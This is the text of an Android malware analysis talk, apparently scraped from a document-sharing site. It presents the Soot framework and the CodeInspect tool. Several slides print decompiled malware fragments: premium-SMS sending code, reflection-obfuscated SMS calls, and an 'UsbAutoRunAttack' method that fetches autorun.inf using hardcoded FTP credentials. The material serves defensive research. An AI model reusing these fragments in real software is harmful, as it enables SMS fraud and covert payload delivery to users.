• Home

  • Documents

  • Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware...
19
SOFTWARE ENGINEERING GROUP SECURE Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer

Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

  • Upload
    others

  • View
    8

  • Download
    1

Embed Size (px)

Citation preview

Page 1: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

Analyzing Sophisticated Android Malware with CodeInspect

Siegfried Rasthofer

Page 2: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

#whoami

2

• 3rd year PhD-Student at Secure Software Engineering Group Darmstadt, Germany (Prof. Dr. Eric Bodden)• Research interest:

• Applied software security on Android• Static-/dynamic code analyses

• Android Security:• Found 2 AOSP exploits• Korea Threat investigation together with McAfee Research Lab Intel Security

Page 3: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 3

Malware

Page 4: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 4

public void onCreate(android.os.Bundle $param0){ sendTextMessage("3353", null, "798657", null, null); sendTextMessage("3354", null, "798657", null, null); sendTextMessage("3353", null, "798657", null, null);}

public static boolean gdadbjrj(String paramString1 , String paramString2)

{

Class clz = Class.forName(gdadbjrj.gdadbjrj("VRIf3+In9a.aTA3RYnD1BcVRV]af")); Object localObject = clz.getMethod( gdadbjrj.gdadbjrj("]a9maFVM.9"), new Class[0]).invoke(null, new Object[0]); String s = gdadbjrj.gdadbjrj("BaRIta*9caBBV]a"); Class c = Class.forName(gdadbjrj.gdadbjrj ("VRIf3+InVTTnSaRI+R]KR9aR9")); Class [] arr = new Class [] { nglpsq.cbhgc, nglpsq.cbhgc, glpsq.cbhgc, c, c}; clz.getMethod(s, arr).invoke(localObject , new Object [] { paramString1 , null , paramString2 , null , null });

}

Page 5: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 5

public static boolean gdadbjrj(String paramString1 , String paramString2)

{

Class clz = Class.forName(gdadbjrj.gdadbjrj("VRIf3+In9a.aTA3RYnD1BcVRV]af")); Object localObject = clz.getMethod( gdadbjrj.gdadbjrj("]a9maFVM.9"), new Class[0]).invoke(null, new Object[0]); String s = gdadbjrj.gdadbjrj("BaRIta*9caBBV]a"); Class c = Class.forName(gdadbjrj.gdadbjrj ("VRIf3+InVTTnSaRI+R]KR9aR9")); Class [] arr = new Class [] { nglpsq.cbhgc, nglpsq.cbhgc, glpsq.cbhgc, c, c}; clz.getMethod(s, arr).invoke(localObject , new Object [] { paramString1 , null , paramString2 , null , null });

}

- Reflections- Packers- Anti-Decompile- Anti-Debug- …

Page 6: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

A new Binary Analysis Framework for Android and Java Bytecode

6

Page 7: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 7

Soot

Page 8: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 8

Soot

Input/Output

.dex .java .jimple .apk.class

- Various callgraph algorithms- Sophisticated algorithms used in compiler

construction- Code manipulation

Soot

https://github.com/Sable/soot/wiki

https://github.com/Sable/soot/wiki
Page 9: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 9

Soot

Jimple

Page 10: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 10

public static boolean UsbAutoRunAttack(android.content.Context $param0){ java.lang.String $String;

$String = <smart.apps.droidcleaner.Tools: java.lang.String urlServer>; ... staticinvoke <smart.apps.droidcleaner.Tools: boolean DownloadFile(java.lang.String, java.lang.String, java.lang.String, java.lang.String, android.content.Context)> ($String, "autorun.inf", "ftpupper", "thisisshit007", $param0); return true; }

Declarations

Code

Return-Statement

Jimple Soot

Page 11: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 11

Soot

Jimple

CodeInspect

Page 12: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 12

CodeInspect

Jimple Code

Readable Files

Code Refactoring

Debugger

Java SourceEnhancement

Syntax Highlighting

Code Manipulation

Dataflow Visualizer

Deobfuscator “Region“ Detection

Jimple Soot

Page 13: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

Let’s get started…

13

1. Import APK

2. Start Device

Page 14: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 14

Banking Trojan

Activation Component

SMS

HTTP

E-Mail

Intercept SMS Intercept Call

Install Fake AV Uninstall AV

File SystemNative Code

User

Waiting Time

Send SMS

App Internal External EventEnvironment Settings

An Investigation of the Android/BadAccents Malware which Exploits a new Android Tapjacking AttackSiegfried Rasthofer, Irfan Asrar, Stephan Huber, Eric Bodden

Android/BadAccents

Page 15: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

Live-Demo

15

https://goo.gl/LblcR5

https://goo.gl/LblcR5
Page 16: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

Future Steps

16

• New Plugins under development

• Easily add own analyses

• What would be a useful feature for you?

Page 17: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

How do I get this tool?

17

Page 18: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 18

Page 19: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

Siegfried Rasthofer Secure Software Engineering GroupEmail: [email protected] Blog: http://sse-blog.ec-spride.de Website: http://sse.ec-spride.deTwitter: @CodeInspect

19

mailto:[email protected]
http://sse-blog.ec-spride.de/
http://sse.ec-spride.de

Maritime Systems Security... · • On zombie (compromised) computers • Sophisticated, advanced, persistent malware • Run software autonomously and automatically • Botnet controller

Maritime Systems Security... · • On zombie (compromised) computers • Sophisticated, advanced, persistent malware • Run software autonomously and automatically • Botnet controller

Documents
Identifying and Analyzing Pointer Misuses for …trj1/cse597-s13/docs/pointer_misuse...Identifying and Analyzing Pointer Misuses for Sophisticated Memory-corruption Exploit Diagnosis

Identifying and Analyzing Pointer Misuses for …trj1/cse597-s13/docs/pointer_misuse...Identifying and Analyzing Pointer Misuses for Sophisticated Memory-corruption Exploit Diagnosis

Documents
Analyzing and Exploiting Network Behaviors of Malware

Analyzing and Exploiting Network Behaviors of Malware

Documents
ANALYZING MALWARE EVASION TREND - FIRST · 2019-03-05 · ANALYZING MALWARE EVASION TREND FIRST Tel Aviv 2019. 2 // ENSILO.COM ABOUT US •Omri Misgav –Security Research Team Leader

ANALYZING MALWARE EVASION TREND - FIRST · 2019-03-05 · ANALYZING MALWARE EVASION TREND FIRST Tel Aviv 2019. 2 // ENSILO.COM ABOUT US •Omri Misgav –Security Research Team Leader

Documents
IT Evolution & Revolutionstaff.washington.edu/gray/talks/2010/IT-Evo.pdf35 Security Changing threat vectors Shifting to social engineering (hard to stop) Malware more sophisticated;

IT Evolution & Revolutionstaff.washington.edu/gray/talks/2010/IT-Evo.pdf35 Security Changing threat vectors Shifting to social engineering (hard to stop) Malware more sophisticated;

Documents
Creating, obfuscating and analyzing malware JavaScript

Creating, obfuscating and analyzing malware JavaScript

Technology
ANDROID BANKING MALWARE · android banking malware: sophisticated trojans vs. fake banking apps android banking malware white paper // author: lukáš Štefanko tlp: white

ANDROID BANKING MALWARE · android banking malware: sophisticated trojans vs. fake banking apps android banking malware white paper // author: lukáš Štefanko tlp: white

Documents
Analyzing and Detecting Emerging Internet of Things ...alasmary/docs/JIOT2925929.pdf · 1 Analyzing and Detecting Emerging Internet of Things Malware: A Graph-based Approach Hisham

Analyzing and Detecting Emerging Internet of Things ...alasmary/docs/JIOT2925929.pdf · 1 Analyzing and Detecting Emerging Internet of Things Malware: A Graph-based Approach Hisham

Documents
Solution Overview€¦ · getting detected by traditional security solutions. Sophisticated malware tends to traverse different domains of IT management – security, networking,

Solution Overview€¦ · getting detected by traditional security solutions. Sophisticated malware tends to traverse different domains of IT management – security, networking,

Documents
Cybersecurity for Tolling and Traffic Systems...2016 SFG malware attacks. The Labs team at SentinelOne recently discovered a sophisticated malware ... theBlackEnergy malware was a

Cybersecurity for Tolling and Traffic Systems...2016 SFG malware attacks. The Labs team at SentinelOne recently discovered a sophisticated malware ... theBlackEnergy malware was a

Documents
PIN-point control for analyzing malware - RECON.CXPIN-point control for analyzing malware!!!! Jason Jones REcon 2014 1. Me Sr Sec Research Analyst @ Arbor ... NOT an in-depth intro

PIN-point control for analyzing malware - RECON.CXPIN-point control for analyzing malware!!!! Jason Jones REcon 2014 1. Me Sr Sec Research Analyst @ Arbor ... NOT an in-depth intro

Documents
Cyberoam Next-Generation Security for Enterprises : Brochure · 2019-11-23 · leakage over websites and applications, sophisticated & blended attacks, malware, spam, spyware and

Cyberoam Next-Generation Security for Enterprises : Brochure · 2019-11-23 · leakage over websites and applications, sophisticated & blended attacks, malware, spam, spyware and

Documents
Malware Nilgün Kablan. Malware …………………………………….…….……………………………………………… Geschichte der Malware ……………….…………………………………………………

Malware Nilgün Kablan. Malware …………………………………….…….……………………………………………… Geschichte der Malware ……………….…………………………………………………

Documents
Malware Analysis Machine Learning Approach - DeepSec · Malware Analysis Machine Learning Approach ... malware activities Memory Analysis the act of analyzing a dumped memory image

Malware Analysis Machine Learning Approach - DeepSec · Malware Analysis Machine Learning Approach ... malware activities Memory Analysis the act of analyzing a dumped memory image

Documents
Poster: Analyzing Endpoints in the Internet of Things Malware · resulting in distributed denial-of-service (DDoS) attacks [2]. Reckoning that the malware sources, C2 servers, the

Poster: Analyzing Endpoints in the Internet of Things Malware · resulting in distributed denial-of-service (DDoS) attacks [2]. Reckoning that the malware sources, C2 servers, the

Documents
Practical Malware Analysis: Ch 7: Analyzing Malicious Windows Programs

Practical Malware Analysis: Ch 7: Analyzing Malicious Windows Programs

Education
Machine Learning for Analyzing Malware

Machine Learning for Analyzing Malware

Documents
1. Introduction The underground Internet economy Web-based malware The system analyzing the post-infection network behavior of web-based malware How do

1. Introduction The underground Internet economy Web-based malware The system analyzing the post-infection network behavior of web-based malware How do

Documents
Memory Forensics: Collecting & Analyzing Malware Artifacts ...issa-dc.org/presentations/03152011_eroraha_memory_forensics.pdfRegistry hivescan hivelist printkey hivedump hashdump lsadump

Memory Forensics: Collecting & Analyzing Malware Artifacts ...issa-dc.org/presentations/03152011_eroraha_memory_forensics.pdfRegistry hivescan hivelist printkey hivedump hashdump lsadump

Documents
Measuring and Analyzing Service Levels: A Scalable … · Measuring and Analyzing Service Levels: A Scalable Passive Approach 3 for each individual user by sophisticated scheduling,

Measuring and Analyzing Service Levels: A Scalable … · Measuring and Analyzing Service Levels: A Scalable Passive Approach 3 for each individual user by sophisticated scheduling,

Documents
2017 Global Network Firewall Market Leadership Award · to new technologies, while defending against advanced malware and sophisticated threats. With its strong overall performance,

2017 Global Network Firewall Market Leadership Award · to new technologies, while defending against advanced malware and sophisticated threats. With its strong overall performance,

Documents
Office 365 Security and Compliance Presentationdownload.microsoft.com/documents/sk-sk/Vision Day... · • Protect email from today’s sophisticated malware attacks with Advanced

Office 365 Security and Compliance Presentationdownload.microsoft.com/documents/sk-sk/Vision Day... · • Protect email from today’s sophisticated malware attacks with Advanced

Documents
UNITED STATES SECURITIES AND EXCHANGE COMMISSION … · 2019. 5. 1. · include sophisticated malware (viruses, worms, and other malicious software programs) and phishing emails that

UNITED STATES SECURITIES AND EXCHANGE COMMISSION … · 2019. 5. 1. · include sophisticated malware (viruses, worms, and other malicious software programs) and phishing emails that

Documents
Remote Control Interloper: Analyzing New Chinese … · 3 Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN Introduction On November 8, 2016 a

Remote Control Interloper: Analyzing New Chinese … · 3 Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN Introduction On November 8, 2016 a

Documents
HTA-T07R Malware Hunting with the Sysinternals Tools · 2020. 2. 14. · Learn about Sysinternals tools and techniques for analyzing and cleaning malware Professional antimalware

HTA-T07R Malware Hunting with the Sysinternals Tools · 2020. 2. 14. · Learn about Sysinternals tools and techniques for analyzing and cleaning malware Professional antimalware

Documents
ì Software Reverse Engineering...Life as a Malware Analyst ìAt a minimum, they want to obfuscate their malware to avoid automated detection ìAnd they really don’t like you analyzing

ì Software Reverse Engineering...Life as a Malware Analyst ìAt a minimum, they want to obfuscate their malware to avoid automated detection ìAnd they really don’t like you analyzing

Documents
A sophisticated Malware Arpit Singh CPSC 420 arpits@clemson.edu

A sophisticated Malware Arpit Singh CPSC 420 [email protected]

Documents
TTAnalyze a Tool for Analyzing Malware

TTAnalyze a Tool for Analyzing Malware

Documents
Norman SandBox Analyzerdownload01.norman.no/product_sheets/eng/SandBox_analyzer.pdf · Norman SandBox Analyzer Analyzing malware can be a cumbersome and time consuming ... internet

Norman SandBox Analyzerdownload01.norman.no/product_sheets/eng/SandBox_analyzer.pdf · Norman SandBox Analyzer Analyzing malware can be a cumbersome and time consuming ... internet

Documents
“I Know Kung-Fu!”: Analyzing Mobile Malware - HITBconference.hitb.org/hitbsecconf2011kul/materials/D1T1 - Alex Kirk... · “I Know Kung-Fu!”: Analyzing Mobile Malware ... Russian

“I Know Kung-Fu!”: Analyzing Mobile Malware - HITBconference.hitb.org/hitbsecconf2011kul/materials/D1T1 - Alex Kirk... · “I Know Kung-Fu!”: Analyzing Mobile Malware ... Russian

Documents